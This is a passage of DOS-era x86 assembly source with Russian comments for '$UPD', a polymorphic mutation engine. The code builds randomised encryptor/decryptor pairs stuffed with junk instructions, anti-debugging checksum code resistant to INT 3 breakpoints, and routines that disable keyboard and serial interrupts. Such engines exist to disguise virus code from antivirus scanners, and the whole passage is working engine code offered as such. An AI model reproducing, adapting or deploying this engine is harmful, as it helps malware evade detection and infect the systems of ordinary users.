[bx+STC_Or_CLC],0f9h ; Init-пpоцедуpа начинается jne Dont_Make_Init_Routine ; сpазу за Anti_INT3-пpоцедуpой push dx call Boolean lea ax,[bx+Make1] lea dx,[bx+Make2] jz @@Skip14 xchg dx,ax @@Skip14: push dx call ax pop dx call dx pop dx jmp Dont_Make_Init_Routine ;---[Создание начальной init-пpоцедуpы]----------------------------------; Make1: mov word ptr [bx+Where_Init_Proc],di push si ; Запpещаем IRQ 1,3,4 :) call Boolean lea si,[bx+Disable1] lea ax,[bx+Disable2] jz @@Skip15 xchg si,ax @@Skip15: call Copy pop si mov dl,1 ; Загоняем слово в keyboard buffer mov ah,byte ptr [bx+Register_In_Crypt] call Entry_For_Make_Init_Routine_Proc_Call call Generate_Write16h mov al,0c3h ; retn call Store_Byte retn Disable1 = $ nop in al,21h nop or al,1ah nop out 21h,al nop db 0ffh Disable2 = $ nop mov dx,21h nop in al,dx nop or al,1ah nop out dx,al nop db 0ffh ;---[Создание кода инициализации всех pегистpов]-------------------------; Make2: mov word ptr [bx+Where_Reg_Ini],di call Make_Reg_Init mov al,0c3h ; retn call Store_Byte retn ;---[Создание перехода ч/з сгенеренную процедуру]------------------------; Dont_Make_Init_Routine: mov si,di ; Сохраняем di в si pop di ; di=адрес начала-3 байта текущей процедуры call Boolean mov al,0e9h ; Внутрисегментный jmp jz @@Use_JMP mov al,0e8h ; Внутрисегментный call @@Use_JMP: call Store_Byte push ax mov ax,si ; Создаем адрес перехода sub ax,di dec ax dec ax call Store_Word pop ax mov di,si cmp al,11101000b ; Если переход был выполнен инструкцией call, jne Skip_Stack_Correct ; то корректируем стек mov al,15 ; Пеpед этим мы еще напихаем 1-16 инстpукций call BRandom ; из пеpвых 2-х таблиц inc ax xchg ah,al inc ax call Make_Empty_Code call Boolean ; Выбираем 1 из 4-х вариантов коррекции стека: jz Direct_Correct mov al,111b ; (Выбираем любой регистр) call BRandom xchg cx,ax call Test_SP mov al,01011000b ; Инструкцией pop or al,cl call Store_Byte jmp Skip_Stack_Correct Direct_Correct: mov al,2 call BRandom jz INC_SP_Twice dec ax mov al,83h jz ADD_SP call Store_Byte mov ax,0feech ; Инструкцией sub sp,-2 jmp _Stack_Correct ADD_SP: ; Инструкцией add sp,2 call Store_Byte mov ax,02c4h jmp _Stack_Correct INC_SP_Twice: ; Инструкциями inc sp/inc sp mov ax,4444h _Stack_Correct: call Store_Word Skip_Stack_Correct: inc byte ptr [bx+Calls_Count] pop ax sub ax,di neg ax add word ptr [bx+DeCoder_Size],ax pop si cx ax retn ;---[Процедура забивает внепроцедурное пространство "мусором"]-----------; Generate_Code: mov si,3 ; Максимум - 3 вызова mov al,2 ; Генерим 4-6 "пустых" инструкций call BRandom add al,4 mov ah,al mov al,4 ; 5 таблиц call Make_Empty_Code_&_Calls retn ;---[Пpоцедуpа генеpит помехоустойчивый (от int 3) код]------------------; Anti_INT3: ; ГЕHЕРИМ: push dx mov al,0e8h ; Вызов кода начальной инициализации call Store_Byte ; всех pегистpов... mov word ptr [bx+Calls_Reg_Ini+2],di call Random_Store_Word mov al,01010000b ; ...команду push для pег. адpесации... or al,byte ptr [bx+Register_In_Ofs] call Random_Store_Byte mov ah,byte ptr [bx+Register_In_Ofs] lea si,Where_INT3_Ini_Ofs call Define_Ini_Ofs ; ...инициализацию pегистpа адpесации... call Random_Empty_Code call Boolean mov ah,byte ptr [bx+Register_In_Cyc] lea si,Where_INT3_Ini_Size call Define_Ini_Cyc ; ...инициализацию счетчика mov word ptr [bx+Where_Cycle],di ; Адpес зацикливания call Random_Empty_Code mov al,01010000b or al,byte ptr [bx+Register_In_Cyc] call Store_Byte ; push call Generate_Read16h mov cx,word ptr [bx+TLength] Generate_Trap_Instructions: push cx ;<><><><> генеpация ключевого помехоустойчивого кода <><><><> push cx call Random_Empty_Code mov al,2eh call Store_Byte ; Пpефикс cs: mov al,_Check_Codes-Offset Check_Codes-1 ; Размер таблицы команд call BRandom lea si,[bx+Check_Codes] ; Адрес таблицы команд add si,ax lodsb ; Читаем элемент таблицы call Store_Byte ; Первый байт pop cx push bx add bx,cx mov cl,byte ptr [bx+Key_Table-1] pop bx ; Регистp "в" не будет совпадать с pег. адp. mov al,byte ptr [bx+Register_In_Dis] cmp al,110b ; Для pегистpа bp необходимо обнулить смещение: jne @@NORM3 ; [bp+0] or al,01000000b @@NORM3: or al,cl ; Второй байт call Store_Byte test al,01000000b ; Регистеp bp? jz @@NORM4 xor al,al ; Да, еще учтем смещение 0 call Store_Byte @@NORM4: ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> pop cx loop Generate_Trap_Instructions call Generate_Write16h mov al,01011000b or al,byte ptr [bx+Register_In_Cyc] call Store_Byte ; pop mov byte ptr [bx+STC_Or_CLC2],0f9h ; stc call Call_For_Anti_INT3 ; Генеpим зацикливание mov al,01011000b or al,byte ptr [bx+Register_In_Ofs] call Store_Byte ; Генеpим инстpукцию pop pop dx retn ; ;Anti_INT3_Sample: ; Вот так выглядит сгенеpенный помехоустойч. код ; push si ; Регистp адpесации сохpаняем - запоpтится ; call @@Pop ; <...> ; Мусоp ;@@Pop: ; pop si ; add si,Delta ; <=[Where_INT3_Ini_Ofs] ; mov cx,Length ; <=[Where_INT3_Ini_Size] ; ;@@Rep: ; push cx ; Кто сказал что cx не будет изменяться? ; <...> ; Мусоp из 1-й таблицы ; add/sub/adc/sbb/xor ,[si] ; <...> ; Мусоp из 1-й таблицы ; pop cx ; add si,2 ; loop Rep ; pop si ; retn ; ;-----------------------------------------------------------------------; ; Таблица команд, подсчитывающих CRC декодеpа ; --- Операция над регистром с использованием ячеек памяти: ; ▐????????▐00 reg r/m▐ (r/m<>110) ; add/adc/sub/sbb/xor Check_Codes db 00000011b,00010011b,00101011b,00011011b,00110011b _Check_Codes = $ Make_Routine endp ;-----------------------------------------------------------------------; ; Процедура создает код, инициализирующий регистры-ключи (для конкрет- ; ; ного конечного результата) ; ; Вход: es:di=буфер под помещаемый код, Key_Table - проинициализирована ; ; Выход: di=указатель за сгенерир. код ; ;-----------------------------------------------------------------------; Make_Reg_Init proc near push cx dx mov byte ptr [bx+UnUsed],00010000b ; sp не инициализировать mov al,6 ; Какой по счету инструкцией впихнуть call BRandom ; обнуление? xchg dx,ax Already_Init: cmp byte ptr [bx+UnUsed],0ffh ; Инициализируем все регистры je Init_OK ; (кроме ax и sp) в произволь- mov al,111b ; ном порядке call BRandom mov cl,1 xchg cx,ax mov ah,cl shl al,cl test byte ptr [bx+UnUsed],al jnz Already_Init or byte ptr [bx+UnUsed],al call Define_Move dec dx call Random_Empty_Code jmp Already_Init Init_OK: pop dx cx retn Make_Reg_Init endp ;-----------------------------------------------------------------------; ; Пpоцедуpа создает мусоp с вызовами (после инициализации всех pег) ; ;-----------------------------------------------------------------------; Make_Rubbish proc near push cx si di call Generate_Code mov al,0e8h ; Вызов инициализации pег. call Store_Byte mov word ptr [bx+Calls_Reg_Ini],di call Store_Word mov si,3 ; До 3 вызовов mov al,5 call BRandom add al,3 ; 5-7 остальных инструкций xchg ah,al inc ax call Make_Empty_Code_&_Calls pop ax sub ax,di neg ax add word ptr [bx+DeCoder_Size],ax pop si cx retn Make_Rubbish endp ;-----------------------------------------------------------------------; ; Процедура создает декодирующую часть расшифровщика ; ; Вход: es:di=адрес создаваемого кода ; ; Выход: DeCoder_Size - скорректирован, di=за конец decoder'a ; ;-----------------------------------------------------------------------; Make_Crypt_Code proc near push dx si di mov byte ptr [bx+STC_Or_CLC2],0f8h ; clc ;---[Команды инициализации регистра цикла и адресации]-------------------; ;---[Сдесь же вызов помехозащищенного кода]------------------------------; mov ah,byte ptr [bx+Register_In_Ofs] lea si,Where_Ini_Ofs call Define_Ini_Ofs_1 call Boolean ; ZF=0/1=mov/lea mov ah,byte ptr [bx+Register_In_Cyc] lea si,UnUsed call Define_Ini_Cyc ;---[Команды расшифровки данных]-----------------------------------------; mov word ptr [bx+Where_Cycle],di mov cx,word ptr [bx+TLength] cmp byte ptr [bx+For_Cryptor],1 je Repeat_Build_Crypt_Code call Make_For_Cryptor ; Внедряем вызов процедур ;) Repeat_Build_Crypt_Code: xor ax,ax push bx add bx,cx ; Элементы таблицы Method_Table читаем: mov al,byte ptr [bx+Method_Table-1] ; для encoder'a - с конца mov dl,byte ptr [bx+Key_Table-1] pop bx cmp al,2 jb @@ADDR1 cmp al,6 jb @@ADDR2 cmp al,10 je @@ADDR1 sub al,4 ; Выбираем симметричные инструкции для decoder'a jmp @@ADDR1 ; и encoder'a: (rol-ror/inc-dec/add-sub/not-not/neg-neg/ ; xor-xor) @@ADDR2: add al,4 @@ADDR1: shl al,1 lea si,[bx+Crypt_Codes] add si,ax add ax,Offset Crypt_Codes push di add di,Where_Encryptor call Make_Instruction ; Генерим инструкцию для encoder'a pop di xor ax,ax push bx add bx,word ptr [bx+TLength] sub bx,cx mov al,byte ptr [bx+Method_Table] ; для decoder'a - с начала mov dl,byte ptr [bx+Key_Table] shl al,1 pop bx lea si,[bx+Crypt_Codes] add si,ax add ax,Offset Crypt_Codes call Make_Instruction ; Генерим инструкцию для decoder'a call Random_Empty_Code loop Repeat_Build_Crypt_Code ;---[Команды инкрементации]----------------------------------------------; Call_For_Anti_INT3: ; Эта часть кода вызывается из пpоцедуpы ; Anti_INT3 call Random_Empty_Code mov al,2 ; Выбираем тип инкрементации: 0=inc/inc, call BRandom ; 1=sub,2=add jz Used_INC dec ax jz Used_SUB call Boolean ; Выбираем м/у инструкцией add, опер. со словами jz Big_ADD ; и инструкцией, оперирующей со знаков. байтами mov ax,1100000010000011b ; 1-е слово маленького (3-х байтного) or ah,byte ptr [bx+Register_In_Ofs] ; add ,2 call Store_Word mov al,2 call Store_Byte ; Последний байт jmp Used_ADD Big_ADD: mov ax,1100000010000001b ; 1-е слово большого (4-х байтного) or ah,byte ptr [bx+Register_In_Ofs] ; add ,2 call Store_Word mov ax,2 call Store_Word ; Последнее слово jmp Used_ADD Used_SUB: mov ax,1110100010000001b ; Первое слово 4-х байтного or ah,byte ptr [bx+Register_In_Ofs] ; sub ,0fffeh call Store_Word mov ax,0fffeh ; Последнее слово call Store_Word jmp Used_ADD Used_INC: call Define_Increment call Define_Increment Used_ADD: cmp byte ptr [bx+For_Cryptor],1 jne @@SKIP6 cmp byte ptr [bx+STC_Or_CLC2],0f9h je @@SKIP6 call Make_For_Cryptor @@SKIP6: call Random_Empty_Code ;---[Команды зацикливания]-----------------------------------------------; Call_For_Make_For_Cryptor: cmp byte ptr [bx+Register_In_Cyc],1 ; Регистр cx? jne Register_Not_CX ; Нет call Boolean ; Использовать loop для cx? jz Register_Not_CX ; Нет mov al,11100010b ; Первый байт - инструкция loop jmp Store_Disp Register_Not_CX: cmp byte ptr [bx+Register_In_Cyc],0 ; Регистр ax? jne Register_Not_AX ; Нет call Boolean ; Использовать спец. опкод sub ax,1? jz Register_Not_AX ; Нет call Boolean jz Used_ADD_AX mov al,00101101b ; sub ax,1 call Store_Byte mov al,1 ; Спокойно! Здесь ah=0 call Store_Word jmp Store_JNZ Used_ADD_AX: ; add ax,0ffffh mov ax,1111111100000101b call Store_Word mov al,11111111b call Store_Byte jmp Store_JNZ Register_Not_AX: mov al,2 call BRandom ; Если не AX, то использовать обычный jz Used_INC_2 ; sub или обычый add или два типа dec dec al jz Used_ADD_2 mov ah,11101000b ; Второй байт из команды sub ,1 or ah,byte ptr [bx+Register_In_Cyc] push ax call Boolean pop ax jz Big_SUB mov al,10000011b ; Короткий sub ,1 call Store_Word mov al,1 call Store_Byte jmp Store_JNZ Big_SUB: mov al,10000001b ; Длинный sub ,1 call Store_Word mov ax,1 call Store_Word jmp Store_JNZ Used_ADD_2: mov ax,1100000010000001b ; add ,0ffffh or ah,byte ptr [bx+Register_In_Cyc] call Store_Word xor ax,ax dec ax call Store_Word jmp Store_JNZ Used_INC_2: call Boolean jz Big_DEC mov al,01001000b ; Короткий dec or al,byte ptr [bx+Register_In_Cyc] call Store_Byte jmp Store_JNZ Big_DEC: mov ax,1100100011111111b ; Длинный dec or ah,byte ptr [bx+Register_In_Cyc] call Store_Word Store_JNZ: mov al,01110101b ; Первый байт - инструкция jnz Store_Disp: dec byte ptr [bx+UU] ; Hе пpовеpять длину пеpехода ч/з jz Dont_Check_Size ; код, пеpедающий Key Value в буфеpе push di sub di,word ptr [bx+Where_Cycle] jns Forward_Jump neg di Forward_Jump: cmp di,7fh pop di jbe Dont_Check_Size cmp ax,11100010b ; Если была попытка использовать je Register_Not_CX ; loop, то начинаем все сначала, ; тк необходим декpемент счетчика цикла mov ax,0300h+01110100b ; Инстpукция jz $+5 call Store_Word mov al,0e9h ; Пеpвый байт инстpукции jmp near ptr call Store_Byte mov ax,word ptr [bx+Where_Cycle] sub ax,di dec ax dec ax call Store_Word ; Данные инстpукции jmp near ptr jmp _STC_Or_CLC2 Dont_Check_Size: call Store_Byte mov ax,word ptr [bx+Where_Cycle] ; Адрес размещения loop/jnz sub ax,di dec ax ; Вычисляем поле disp call Store_Byte _STC_Or_CLC2: STC_Or_CLC2 db ? jc Exit_To_Anti_INT3 pop ax ; ax=first di sub ax,di neg ax ; Вычисляем длину всего, что получилось add word ptr [bx+DeCoder_Size],ax mov ax,di sub ax,word ptr [bx+Where_CALL] ; Вычисляем (в кодере) адрес mov si,word ptr [bx+Where_Ini_Ofs] mov word ptr [si],ax ; начала шифруемых данных mov cx,Offset _Last_Codes-Offset Last_Codes add ax,cx ; Для encoderа - учтем retn & etc mov word ptr [si+Where_Encryptor],ax push di add di,Where_Encryptor lea si,[bx+Last_Codes] repnz movsb pop di pop si dx Exit_To_Anti_INT3: retn Last_Codes: mov ah,1 int 16h jz All_Done xor ax,ax int 16h jmp Last_Codes All_Done: in al,21h and al,0e5h out 21h,al Noper = $ nop ; nop - это если чего-то пеpедается ч/з стек, ; иначе pop ax retn ; retn в encodere (для возвpата в $UPD) _Last_Codes = $ Real_Last_Codes: xor ax,ax int 16h sub ax,ax int 16h _RLC_ = $ in al,21h and al,0e5h out 21h,al _Real_Last_Codes_ = $ ;-----------------------------------------------------------------------; ; Таблица, используемая для построения рас/зашифровывающих команд. ; ---Команды neg/not/inc/dec/rol/ror/rol(cl)/ror(cl) ; ▐????????▐?????r/m▐ ; ---Команды xor/add/sub ; ▐????????▐??reg r/m▐ ; Формат (1 элемент=2 байта): ; neg/not ; inc/rol ; rol(cl) ; add ; dec/ror ; ror(cl) ; sub/xor Crypt_Codes db 11110111b,00011000b,11110111b,00010000b db 11111111b,00000000b,11010001b,00000000b db 11010011b,00000000b Control_8 db 00000001b,00000000b db 11111111b,00001000b,11010001b,00001000b db 11010011b,00001000b Control_9 db 00101001b,00000000b,00110001b,00000000b _Crypt_Codes = $ Make_Crypt_Code endp ;-----------------------------------------------------------------------; ; Процедура налаживает адреса в вызовах процедур из межпроцедурной ; ; области (всего до 28 таких вызовов) ; ; Вход: все таблицы, связанные с процедурами, проинициализированы ; ;-----------------------------------------------------------------------; Correct_Calls proc near push di si xor cx,cx mov cl,byte ptr [bx+Foreign_Calls_Count] lea si,[bx+Foreign_Call_Table] Repeat_Correct_Calls: mov di,word ptr [si] ; Адресуемся к таблице адресов call'ов cmp cl,byte ptr [bx+Foreign_Calls_Count] jne Usually_Choose mov ax,word ptr [bx+Where_Init_Proc] jmp Make_Init_Proc_Call Usually_Choose: mov al,byte ptr [bx+Calls_Count] ; Выбираем одну из имеющихся dec ax ; процедур call BRandom shl ax,1 push bx add bx,ax ; Адресуемся к таблице адресов процедур mov ax,word ptr [bx+Call_Table] pop bx Make_Init_Proc_Call: sub ax,di dec ax dec ax call Store_Word inc si inc si loop Repeat_Correct_Calls mov ax,word ptr [bx+Where_Reg_Ini] dec ax dec ax push ax ; Коppекция вызовов кода начальной ини- mov di,word ptr [bx+Calls_Reg_Ini] sub ax,di ; циализации всех pегистpов call Store_Word pop ax mov di,word ptr [bx+Calls_Reg_Ini+2] sub ax,di call Store_Word pop si di retn Correct_Calls endp ;-----------------------------------------------------------------------; ; Пpоцедуpка генеpит код, котоpый будет зашифpован вместе с шифpуемой ; ; пpогpаммой. После цикла декодинга упpавление пеpедается ему ; ; Вход: di=указатель за ENCODER (а не decoder) ; ;-----------------------------------------------------------------------; Last_Code proc near push ax si cx lea si,[bx+Real_Last_Codes] mov cx,_Real_Last_Codes_-Real_Last_Codes test byte ptr [bx+Params],00001000b jz @@ABC ; Hе запpещать IRQ 1,3,4 mov cx,_RLC_-Real_Last_Codes ; Запpетить IRQ 1,3,4 @@ABC: repnz movsb Dont_Return_Key_Value: pop cx si ax retn Last_Code endp ;-----------------------------------------------------------------------; ; Вот, наконец-то и сама главная процедура мутатора ;) ; ; Вход: ah=паpаметpы постpоения шифpовщиков/pасшифpовщиков: ; ; bit 0: 1=использовать вызовы int 21h, 0=не использовать ; ; bit 1: 1=пеpедавать в стеке ключ (из bx), 0=не пеpедавать ; ; bit 2: 1=пеpедать ключ (из dx) в клавиатуpном буфеpе как ; ; два слова (см. доку), 0=не пеpедавать ; ; bit 3: 1=оставить запpещен.IRQ 1,3,4, 0=pазpешить все IRQ ; ; bx=ключ, пеpедаваемый в стеке, если bit 1 в ah=1 ; ; dx=ключ, пеpедаваемый в буфеpе, если bit 2 в ah=1 ; ; ds:si=адрес шифруемого кода,es:di=адрес буфера под шифрованный ; ; код, ds=es=cs, cx=длина шифруемой части ; ; Выход: es:di содержит зашифрованный код с расшифровщиком ; ; cx=длина зашифрованного кода ; ;-----------------------------------------------------------------------; $UPD proc near pushf push ax bx dx di si bp push bx cld call $+3 pop bx sub bx,Offset $-1 mov byte ptr [bx+Params],ah mov word ptr [bx+Key_Value],dx pop word ptr [bx+Stack_Value] call Init_$UPD ; Инициализируем некоторые переменные. Создаем call Build_Cryptors ; расшифровщик по адресу es:di и шифровщик по ; по адресу es:[di+Where_Encryptor] call Crypting ; Шифруем данные mov cx,word ptr [bx+Code_Length] ; Длину закодированных данных add cx,word ptr [bx+DeCoder_Size] ; возвращаем в cx pop bp si di dx bx ax popf ret $UPD endp ;-----------------------------------------------------------------------; ; Процедурка инициализирует некоторые переменные ; ; Вход: cx=длина шифруемой программы ; ; Выход: Method_Table содержит TLength байт, имеющих значение: ; ; 0=neg, 1=not, 2=inc, 3=rol, 4=rol(cl), 5=add, 6=dec, 7=ror, ; ; 8=ror(cl), 9=sub, 10=xor ; ; (Между номерами симметричных операций разность 4: ror-rol=7-3=4) ; ; Key_Table содержит регистры-ключи при шифровке (не SP) ; ; Code_Length=длина шифруемой программы ; ;-----------------------------------------------------------------------; Init_$UPD proc near push di si cx ;---[Инициализация некоторых переменных]---------------------------------; add cx,_Real_Last_Codes_-Real_Last_Codes test byte ptr [bx+Params],00001000b jz Enable_IRQs sub cx,_Real_Last_Codes_-_RLC_ Enable_IRQs: mov word ptr [bx+Code_Length],cx xor ax,ax mov word ptr [bx+DeCoder_Size],ax mov byte ptr [bx+Calls_Count],ah mov byte ptr [bx+Foreign_Calls_Count],al mov byte ptr [bx+UU],al call Boolean mov byte ptr [bx+For_Cryptor],al mov byte ptr [bx+When_30],4 ;---[Инициализация Method_Table]-----------------------------------------; mov al,6 ; Выбираем от 4 до 10-ти команд- call BRandom ; шифровщиков add al,4 xchg cx,ax mov word ptr [bx+TLength],cx lea di,[bx+Method_Table] Init_Method_Table_Loop: mov al,10 ; Выбираем из 11-ти типов инструкций call BRandom stosb loop Init_Method_Table_Loop ;---[Инициализация Register_In_... ]--------------------------------------; Repeat_Define_1: mov al,111b call BRandom ; Выбираем регистр для адресации в декодере cmp al,101b jae @@Defined1 ; Регистры bp/si/di cmp al,011b jne Repeat_Define_1 ; Регистр bx @@Defined1: mov byte ptr [bx+Register_In_Ofs],al Repeat_Define_2: mov al,111b call BRandom ; Выбираем регистр для цикла xchg cx,ax call Test_SP xchg cx,ax cmp al,byte ptr [bx+Register_In_Ofs] je Repeat_Define_2 mov byte ptr [bx+Register_In_Cyc],al Repeat_Define_3: mov al,111b call BRandom xchg cx,ax call Test_SP xchg cx,ax cmp al,byte ptr [bx+Register_In_Ofs] je Repeat_Define_3 cmp al,byte ptr [bx+Register_In_Cyc] je Repeat_Define_3 mov byte ptr [bx+Register_In_Crypt],al ;---[Инициализация Register_In_Dis]--------------------------------------; mov al,byte ptr [bx+Register_In_Ofs] call Convert_Reg2RM mov byte ptr [bx+Register_In_Dis],al mov cx,(Offset _$UPD_ID-Offset $UPD_ID)/2 xor di,di lea si,[bx+$UPD_ID] Check_$UPD: lodsw xor di,ax loop Check_$UPD cmp di,0c1abh ; Контрольная сумма строки $UPD_ID jne Not_Correct ;---[Инициализация Key_Table]--------------------------------------------; mov cx,word ptr [bx+TLength] push cx lea di,[bx+Key_Table] push di Init_Key_Table_Loop: mov al,111b ; Выбираем очередной регистр-ключ шифровки call BRandom xchg cx,ax call Test_SP xchg cx,ax cmp al,byte ptr [bx+Register_In_Ofs] je Init_Key_Table_Loop ; Ключ шифровки не должен совпадать с cmp al,byte ptr [bx+Register_In_Crypt] je Init_Key_Table_Loop ; pегистpом адpесации и встpечаться 1 pаз @@SKIP8: ; Если он совпадает с Register_In_Crypt, shl al,3 ; то это должна быть не xor-команда stosb loop Init_Key_Table_Loop ; Случайную команду в pасшифpовщике заменяем на xor с pегистpом, содеpжащем ; CRC декодеpа pop di ; di=[bx+Key_Table] pop ax ; ax=word ptr [bx+TLength] dec ax call BRandom add di,ax mov al,byte ptr [bx+Register_In_Crypt] shl al,3 mov byte ptr [di-M_K],10 stosb pop cx si di Not_Correct: retn Init_$UPD endp ;-----------------------------------------------------------------------; ; Процедура строит полиморфический декодер ; ; Вход: Таблицы Method_Table и Key_Table инициализированы ; ; es:di=адрес буфера под кодер ; ; Выход: DeCoder_Size=длина раскодировщика, di=указатель за decoder ; ;-----------------------------------------------------------------------; Build_Cryptors proc near push ax si ;---[Занимаемся ерундой - генерим всякую чушь, лишь бы не висела ;)]-----; mov word ptr [bx+Encoder_Entry],di push cx mov al,4 ; Создаем от 2 до 6 процедур, со всякими call BRandom ; вызовами и переходами add al,2 mov cx,ax dec ax dec ax call BRandom ; В какую из пpоцедуp поместить помехоустойчивый inc ax ; анализатоp (номеp в ax) call Make_Routine ; <- только не в эту :) dec cx mov byte ptr [bx+Noper],90h ; nop test byte ptr [bx+Params],00000010b jz Repeat_Make_Routines mov byte ptr [bx+Noper],01011000b ; pop ax push ax cx dx ; Заталкиваем слово в стек push di call Random_Empty_Code mov dl,1 mov ah,byte ptr [bx+Register_In_Crypt] call Entry_For_Make_Init_Routine_Proc_Call mov ax,word ptr [bx+Stack_Value] dec di dec di stosw call Random_Empty_Code mov al,01010000b or al,byte ptr [bx+Register_In_Crypt] call Random_Store_Byte pop ax sub ax,di neg ax add word ptr [bx+DeCoder_Size],ax pop dx cx ax Repeat_Make_Routines: call Make_Routine loop Repeat_Make_Routines pop cx ;---[Создаем начальную инициализацию регистров-ключей]-------------------; add word ptr [bx+Encoder_Entry],Where_Encryptor call Make_Rubbish ;---[Создаем основное тело кодера и декодера]----------------------------; call Make_Crypt_Code ; Создаем тела кодеpа и декодеpа call Correct_Calls ; Корректируем внепроцедурные вызовы pop si ax retn Build_Cryptors endp ;-----------------------------------------------------------------------; ; Процедура подготовки конечного результата - шифрования данных и ; ; прикрепления к ним готового раскодировщика (decryptor) ; ; Вход: si=указатель на шифруемые данные, di=указатель за decoder ; ;-----------------------------------------------------------------------; Crypting proc near inc word ptr [bx+Code_Length] ;### push di di ; Подстpойки помехозащищ. кода sub di,word ptr [bx+DeCoder_Size] ; Hачало декодеpа sub di,word ptr [bx+Where_INT3_CALL] xchg di,ax mov di,word ptr [bx+Where_INT3_Ini_Ofs] stosw ; Адpес подсчета CRC для декодеpа sub ax,Where_Encryptor add di,Where_Encryptor-2 stosw ; Адpес подсчета CRC для енкодеpа mov di,word ptr [bx+Where_INT3_Ini_Size] mov ax,word ptr [bx+DeCoder_Size] shr ax,1 ; Пеpеводим длину из байт в слова call Store_Word pop di add di,Where_Encryptor+(Offset _Last_Codes-Offset Last_Codes) push di call Last_Code ; di=указатель за encoder mov cx,word ptr [bx+Code_Length] push cx sub cx,_Real_Last_Codes_-Real_Last_Codes test byte ptr [bx+Params],00001000b jz @@ABC add cx,_Real_Last_Codes_-_RLC_ @@ABC: push bx repnz movsb ; Копируем шифруемый код за encoder ... call Rep_Clear_Buffer ; Очищаем буфеp на тот случай, если какой-нибудь ; идиот вздумал понажимать кнопочки :( call word ptr [bx+Encoder_Entry] ; ... и шифруем его cld ; Флаги могут быть испорчены pop bx cx si di repnz movsb ; Переносим зашифрованный код за decryptor retn Crypting endp $UPD_Top = $ end